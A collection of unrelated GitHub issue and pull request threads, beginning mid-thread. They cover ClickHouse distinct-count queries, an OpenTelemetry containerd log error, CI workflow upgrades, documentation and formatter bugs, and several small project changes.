        uniqCombined(user_ip) AS uniq_c_ips
    FROM user_visit_ip_num
    WHERE event_date BETWEEN '2016-10-13' AND '2016-12-12'
    GROUP BY event_date, site_id, user_ip
);

-- ┌─count_total─┬─count_fourth─┬─count_nov10─┬─uniq_ips_total─┬─uniq_ips_fourth─┬─uniq_ips_nov10─┬─uniq_c_ips_total─┬─uniq_c_ips_fourth─┬─uniq_c_ips_nov10─┐
-- │     6000100 │       600651 │       98919 │        6000096 │          600651 │          98918 │          6000096 │            600651 │            98918 │
-- └─────────────┴──────────────┴─────────────┴────────────────┴─────────────────┴────────────────┴──────────────────┴───────────────────┴──────────────────┘
--
-- 1 rows in set. Elapsed: 1.147 sec. Processed 6.00 million rows, 60.00 MB (5.23 million rows/s., 52.30 MB/s.)

That's better.
OK, I won't flood anymore.
Just look on that:
SELECT
    sum(count) AS count_total,
    sumIf(count, site_id = 4) AS count_fourth,
    sumIf(count, event_date = '2016-11-10') AS count_nov10,
    sum(uniq_ips) AS uniq_ips_total,
    sumIf(uniq_ips, site_id = 4) AS uniq_ips_fourth,
    sumIf(uniq_ips, event_date = '2016-11-10') AS uniq_ips_nov10,
    sum(uniq_c_ips) AS uniq_c_ips_total,
    sumIf(uniq_c_ips, site_id = 4) AS uniq_c_ips_fourth,
    sumIf(uniq_c_ips, event_date = '2016-11-10') AS uniq_c_ips_nov10
FROM (
    SELECT
        event_date,
        site_id,
        count() AS count,
        uniqExact(user_ip) AS uniq_ips,
        uniqCombined(user_ip) AS uniq_c_ips
    FROM user_visit_ip_num
    WHERE event_date BETWEEN '2016-10-13' AND '2016-12-12'
    GROUP BY event_date, site_id
);

-- ┌─count_total─┬─count_fourth─┬─count_nov10─┬─uniq_ips_total─┬─uniq_ips_fourth─┬─uniq_ips_nov10─┬─uniq_c_ips_total─┬─uniq_c_ips_fourth─┬─uniq_c_ips_nov10─┐
-- │     6000100 │       600651 │       98919 │        6000096 │          600651 │          98918 │          6000088 │            600650 │            98918 │
-- └─────────────┴──────────────┴─────────────┴────────────────┴─────────────────┴────────────────┴──────────────────┴───────────────────┴──────────────────┘
--
-- 1 rows in set. Elapsed: 0.279 sec. Processed 6.00 million rows, 60.00 MB (21.54 million rows/s., 215.36 MB/s.)

Also two notes:

DISTINCT is slower than GROUP BY.
You could write:
SELECT user_ip FROM user_visit_ip_num WHERE event_date between toDate('2016-10-13') AND toDate('2016-12-12') GROUP BY user_ip
instead of
SELECT distinct(user_ip) FROM user_visit_ip_num WHERE event_date between toDate('2016-10-13') AND toDate('2016-12-12')

As you filter by event_date, it should be in primary key. Now your primary key starts with event_time, and the system cannot decide, that event_time and event_date is related.

Thanks for your time, help, and comments.
I did not know about uniqExact() (i forget about it), i added uniqExact() and GROUP BY instead of DISTINCT to requires.
About event_date in the primary key, i will test it later, thanks.

@bookin , do you have any more plans/questions regarding this issue?


containerd-recombine log operator errors on 0.49.0

I'm experimenting with chart & collector v0.49.0, however in clusters that use containerd (e.g. GKE based clusters), i'm seeing an unexpected error related to log collection in the OTEL container logs;
	Failed to process entry	{"kind": "receiver", "name": "filelog", "operator_id": "containerd-recombine", "operator_type": "recombine", "error": "invalid operation: int(string) (1:7)\n | (body.logtag) == 'F'\n | ......^", "action": "send", "entry": {"observed_timestamp":"2022-04-29T13:23:45.433690115Z","timestamp":"2022-04-29T13:23:45.388206949Z","body":"2022-04-29T13:23:45.388206949Z stdout F 2022-04-29 13:23:45.387 [INFO][59] monitor-addresses/startup.go 714: Using autodetected IPv4 address on interface eth0: <IP_ADDRESS>/32","attributes":{"log":"2022-04-29 13:23:45.387 [INFO][59] monitor-addresses/startup.go 714: Using autodetected IPv4 address on interface eth0: <IP_ADDRESS>/32","log.file.path":"/var/log/pods/kube-system_calico-node-7rsmm_23d2706b-4b34-4b0b-addd-936f90a6b757/calico-node/0.log","logtag":"F","stream":"stdout"},"severity":0,"scope_name":""}}
github.com/open-telemetry/opentelemetry-log-collection/operator/helper.(*TransformerOperator).HandleEntryError
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/helper/transformer.go:110
github.com/open-telemetry/opentelemetry-log-collection/operator/transformer/recombine.(*RecombineOperator).Process
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/transformer/recombine/recombine.go:207
github.com/open-telemetry/opentelemetry-log-collection/operator/helper.(*WriterOperator).Write
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/helper/writer.go:65
github.com/open-telemetry/opentelemetry-log-collection/operator/helper.(*ParserOperator).ProcessWithCallback
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/helper/parser.go:128
github.com/open-telemetry/opentelemetry-log-collection/operator/helper.(*ParserOperator).ProcessWith
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/helper/parser.go:104
github.com/open-telemetry/opentelemetry-log-collection/operator/parser/regex.(*RegexParser).Process
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/parser/regex/regex.go:103
github.com/open-telemetry/opentelemetry-log-collection/operator/transformer/router.(*RouterOperator).Process
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/transformer/router/router.go:135
github.com/open-telemetry/opentelemetry-log-collection/operator/helper.(*WriterOperator).Write
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/helper/writer.go:65
github.com/open-telemetry/opentelemetry-log-collection/operator/input/file.(*Reader).emit
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/input/file/reader.go:198
github.com/open-telemetry/opentelemetry-log-collection/operator/input/file.(*Reader).ReadToEnd
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/input/file/reader.go:142
github.com/open-telemetry/opentelemetry-log-collection/operator/input/file.(*InputOperator).poll.func1
	/builds/o11y-gdi/splunk-otel-collector-releaser/.go/pkg/mod/github.com/open-telemetry/opentelemetry-log-collection@v0.29.0/operator/input/file/file.go:155
2022-04-29T13:23:55.633Z	error	helper/transformer.go:110

This error repeats frequently for a range of different log files.
If I roll back to 0.48.0, I do not see this error and log ingestion works as normal. This error is also not present on clusters which are still using Docker as their container runtime.

Was able to reproduce this issue, we'll work on getting a fix out.

@KingJ the issue should be fixed in 0.50.0. Please let us know how it works

@dmitryax I've given 0.50.0 a try and I can confirm it is now working on our containerd-based clusters! Many thanks!


e2e: serial: make it easier to integrate

The previous reorganization of the e2e tests was
made into the attempt to follow more closely the
go conventions, adding the _test suffix for source
files containing test code.
This worked well but made hard to import the testsuite
into external projects (cnf-tests).
Trying to import the existing suite leads to
no non-test files found

which is not good.
Hence we do another reorganization for the serial suite
only, moving the actual test definition into a utility
package.
No expected change in behaviour for the NROP testsuite
proper (nor test image).
Signed-off-by: Francesco Romani<EMAIL_ADDRESS>

/hold

rationale for this PR is to enable https://github.com/openshift-kni/cnf-features-deploy/pull/1010

/hold cancel

/lgtm

/retest

flake (before) + infra issue (last failure)
level=error msg=Error: error reading Route Table Association (rtbassoc-0064583be71308361): empty result

/test ci-install-e2e

/retest

/test ci-e2e

ok, the failure happened too many times in a row and needs to be investigated; still I don't understand how this change may have caused these failures.

/retest
I still suspect a infra issue

/lgtm

/hold

/hold cancel


Maintenance adapt actions upload&download to v4

Supplementary submission of https://github.com/coronalabs/corona/pull/681.
Rechecked the update content and found that download-artifact no longer creates a directory for artifacts by default.
Also checked the changes currently in use but compatible content:

[x] actions/checkout v3 → v4

[x] ommit params
[x] submodules
[x] repository and path

[x] actions/download-artifact v1, v2 → v4

[x] v4 can only download artifacts created by upload v4 and above.
[x] If the name input parameter is not provided, all artifacts will be downloaded.
[x] make a different name and filter the downloads, merge-multiple (Have matched scenario but achieve with other methods)

[x] actions/upload-artifact v1, v2 → v4

[x] no multiple jobs upload to the same Artifact, no overwrite.

Sorry for the oversight, this should be able to run Action now, please try the daily build. @Shchvova

No worries. It had to be done sooner or later. Thank you so much for the undertaking.


Usage screenshots is showing usages of choco list -lo

What You Are Seeing?
Several images that we are using in the documentation, as well as some example code is still using choco list -lo or one of the alternative switches.
All of these images needs to be updated as part of the new functionality in Chocolatey CLI v2.x, alternatively it can be seperated into tabs that show both Chocolatey CLI v2.x and Chocolatey v1.x.
What is Expected?
By default images and code should use the latest recommended/supported approach of calling commandts.
How Did You Get This To Happen? (Steps to Reproduce)
There are too many places to list, but a couple of places found so far that uses the old -lo in image examples is: https://docs.chocolatey.org/en-us/features/package-audit#see-it-in-action and https://docs.chocolatey.org/en-us/features/package-synchronization/automatic-sync

After the associated PR is merged, as such the images on the page automatic-sync.md and the page sync-command.md needs to be updated.
The video on sync-command.md also shows the use of --local-only, and might need to be updated.


Add individual function disables and enables

Function toggles are currently put in groups of type (e.g. logical, reduction, etc.). While this makes sense, it also doesn't permit granular tweaking. Say someone needs only add, sum and round. This is already 3 whole modules enabled, while just enabling those 3 functions would save a lot more space.
This is currently possible by forking and editing the code, but it would be nice if it could be implemented with feature flags. Every function would "just" need its own feature enable and disable flag, and the other macros would expand much like NUMDOT_DISABLE_ALL_OPTIONAL_FUNCTIONS does now.
This feature is low priority, until it's actually needed by someone.

Addressed in 2b073423226573760536b40dd6cf82a448ff1059.


add handling fund field

I rule and have completed some work on Case Manager that's ready for review!
(brief, plain english overview of your changes here)
This pull request makes the following changes:

Add Handling Fund field for solidarity pledges
If the Handling Fund is changed to the current fund (= nil), solidarity is unchecked

We do not automatically check solidarity if the handling fund is changed to an external fund.

new UI element:

It relates to the following issue #s:

Fixes #2661

For reviewer:

Adjust the title to explain what it does for the notification email to the listserv.
Tag this PR:

feature if it contains a feature, fix, or similar. This is anything that contains a user-facing fix in some way, such as frontend changes, alterations to backend behavior, or bug fixes.
dependencies if it contains library upgrades or similar. This is anything that upgrades any dependency, such as a Gemfile update or npm package upgrade.

If it contains neither, no need to tag this PR.

sounds good – will make these changes. fair on the auto update, makes me a bit skittish


Repository cleanup, make scripts, vendor rebuild, travis config

Changes that are being made

Removes some things from root directory (.github stuff, binary)

I recommend using Github tags/releases to save binaries, rather than using the repo

Adds make scripts for development - see ded8ff586794285649cff5e7c1d3acb5662b0df0

added new make vendor script to rebuild vendor - see inline documentation

Rebuilds vendor directory
Adds basic travis config

Any breaking changes?
A lot - many old tests, etc are broken (see Travis logs)

Codecov Report

:exclamation: No coverage uploaded for pull request base (V2@02565e9). Click here to learn what that means.
The diff coverage is 46.42%.

@@         Coverage Diff          @@
##             V2    #162   +/-   ##
====================================
  Coverage      ?   5.56%
====================================
  Files         ?      33
  Lines         ?    3144
  Branches      ?       0
====================================
  Hits          ?     175
  Misses        ?    2939
  Partials      ?      30

Impacted Files
Coverage Δ

utils/multihash.go
100% <ø> (ø)

rtfsp/rtfsp.go
0% <ø> (ø)

mail/mail.go
0% <0%> (ø)

queue/queue.go
0% <0%> (ø)

rtfs/keystore.go
60% <100%> (ø)

database/database.go
16.66% <31.25%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 02565e9...9b88940. Read the comment docs.


How?

Dear stephenfewer,
Hope you are well. I try to use this but i couldn't solve entire project. Could you please explain how to use this? How to inject a DLL?
Thanks.

https://github.com/stephenfewer/ReflectiveDLLInjection#usage


Add ChinesePackContinued

closes #2519

Something happening with the D/L from KS. Will need to look closer.

force a rebuild

Finally

Missing the recommends:
RSS or 10x Kerbol System (unless you like single-stage-to-Jool rockets)
Ferram Aerospace Research (unless you like the soupy atmosphere in RSS)
Kerbal Joint Reinforcement (unless you like noodle-like rockets)
Kerbal Crew Manifest (Shenzhou's orbital module's hatch doesn't work, this provides a temporary workaround for crew transfering)
Real Fuels (Will be supported in future versions, integration WIP)
RealChute (Provides some help for Shenzhou's chute problems, and it is a good mod afterall)
RealPlume (If you can run RSS at a reasonable FPS, I guess some pretty FX won't hurt anybody)

Added the recommendations, merging


fix doc example key generation

closes #2

can't believe i missed that again, thank you for noticing


Aliased annotations get formatted wrongly

I'm recently doing code golf in Ceylon, and one of the tricks to get a shorter program is using alias-imports for everything which appears several times.
One of my recent programs started this way (after being formatted):
import ceylon.language {
    sh=shared,
    fo=formal
}

interface X {
    sh
    fo
    V v(S t);
    sh
    fo
    G g;
}

(G, V and S are classes defined lower down.)
I actually would expect the formatter to format the interface like this:
interface X {
    sh fo V v(S t);
    sh fo G g;
}

The formatter doesn't seem to recognize the aliases as inline annotations, and formats them as "normal" annotations on separate lines.
Mentioning them with --inlineAnnotations doesn't seem to help either.
(I'm using the 1.2.0 version.)

I don’t think I can do this without typechecking the code, sorry.

Yes Lucas you're right about that.

Although you could do it with a crappy implementation that doesn't try to disambiguate inner scoped declarations and just looks at the import list.

I guess that would actually work almost all of the time… if you have an inner scoped sh value, then sh as annotation will be an error anyways.

Hang on, I missed this bit:

Mentioning them with --inlineAnnotations doesn't seem to help either.

This should definitely work. What’s your exact invocation?

I'm currently not at that computer, I will check again in the evening ... I think it was something like this:
ceylon format --inlineAnnotations 'sh fo va default actual' source/codegolf/tinylisp63352/expressions.ceylon

I also tried with a = instead of the space after --inlineAnnotations, no difference. Should it be comma-separated? (Then the documentation needs to be changed.)

Update: I tried again ... if using --inlineAnnotations 'sh fo va default actual', it doesn't destroy the annotation formatting, but it doesn't restore it either. So if the input is like either example in my first post, it stays this way.
Unfortunately the formatter in the IDE doesn't seem to have a way of configuring any formatting options, so it "destroys" it on the next Source → Format, even if I manually fix everything :-/

Wow, this took me a while to figure out. Here’s what happened:

You ran ceylon format file.ceylon. The formatter, unexpectedly, put newlines after your annotations.
You ran ceylon format --inlineAnnotations 'sh fo va default actual' file.ceylon on the same file. With these inlineAnnotations, the formatter didn’t enforce line breaks after these annotations… but it also didn’t explicitly remove the line breaks that the previous run had introduced.

In other words, running ceylon format --inlineAnnotations 'sh fo va default actual' on the following file:
import ceylon.language {
    sh=shared,
    fo=formal
}

interface X {
    sh fo V v(S t);
    sh fo G g;
}

indeed leaves it untouched – but if you already have line breaks, the formatter keeps them.
I think I’ll change it so that inline annotations will always be forced to have no line breaks after them.